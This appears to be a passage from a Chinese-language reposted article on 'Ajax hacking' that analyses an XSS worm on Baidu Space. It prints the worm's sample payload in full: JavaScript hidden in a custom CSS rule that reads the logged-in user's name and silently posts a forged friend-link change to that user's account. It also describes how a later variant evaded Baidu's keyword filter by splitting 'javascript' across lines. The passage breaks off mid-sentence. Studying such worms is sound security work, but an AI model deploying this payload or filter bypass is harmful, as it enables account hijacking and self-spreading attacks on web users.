鉴于大家对Ajax十分关注,我们编辑小组在此为大家搜集整理了“Ajax Hacking”一文,供大家参考学习!
由此Ajax攻击可见一斑,然而这还仅仅是个开始。7月份百度开通了百度空间,虽然没有指明是应用web2.0技术,但从web2.0象征的测试版(beta)和页面模版架构等等,你可以看出它事实上已经应用了Ajax技术。而在空间开通不到半个月,相应的攻击方式又产生了,这个攻击应该又算是一个蠕虫吧。它利用百度提交的自定义css(Cascading Stylesheet,层叠样式表单)中对插入的javascript过滤不严格,而使攻击者可以写入恶意代码进行了xss(Cross Site Scripting)跨站。从而使浏览该空间的百度通行证用户在不知觉的情况下将该站点加入自己的友情连接中。最原始代码标本如下:
复制代码 代码如下:#header{height:89px;background:url("javascript:document.body.onload = function(){ //- - 在css的样式标签中插入javascript代码
var req = null;
if(window.XMLHttpRequest) req = new XMLHttpRequest(); //- - 这句懂ajax的都知道,是它的核心XMLHttpRequest,而下面当然是必不可少的判断是否IE的语句了。
else if(window.ActiveXObject){
var msxml = new Array(''MSXML2.XMLHTTP.5.0'', ''MSXML2.XMLHTTP.4.0'', ''MSXML2.XMLHTTP.3.0'', ''MSXML2.XMLHTTP'', ''Microsoft.XMLHTTP'');
for(var i=0;i try{req.overrideMimeType(''text/xml'')}catch(e){}
}
req.open(''get'',''.'',false);
req.send();
var s=req.responseText;
p=s.indexOf(''passport.baidu.com/?logout'');
if(p>0)
{
p=s.indexOf('''');
if(p>0)
{
p=s.indexOf(''/'',p);
p2=s.indexOf(String.fromCharCode(34),p);
var user=s.substring(p+1,p2);
var name=''Here is a bad site'';
var link=''目标网址'';
var desc=''This link was added by an XSS script'';
var url=''/''+user+''/commit'';
var data=''ct=6&cm=1&spRef=''+escape(''http://hi.baidu.com/'+user)+''%2Fmodify%2Fbuddylink%2F0&spBuddyName=''+escape(name)+''&spBuddyURL=''+escape(link)+''&spBuddyIntro=''+escape(desc); //- - 这句是整个蠕虫的执行语句,也是Ajax的数据异步调用语句。
req.open(''post'',url,false);
req.send(data);
alert(''A friend link has been added to your space at http://hi.baidu.com/' +user);
}
}
else{alert(''You are not a logged Baidu user.'');} //- - 由于是标本语句,所以这里有对是否登陆的判断,但实际攻击中当然不会有。
}");
} 当时百度在第一时间内对此蠕虫作出了反映——过滤提交表单中的javascript,当然这也使正常用户无法再在blog中贴入Flash动画。但后来的变种使得境况变得更糟糕,因为有人发现百度仅仅是过滤了CSS文本中的譬如"javascript"和"expression"这样的字符串。也就是说如果把”javascript”分成两行来写,就可以绕过百度的过滤但同时又被IE执行。而这时变种的蠕虫也随之产生,其造成的结果是在用户的css中加入如下代码:
#header {……
很简单的一句吧,这几乎把该蠕虫提升到了病毒性质,因为用户本身无法到达css修改页面来修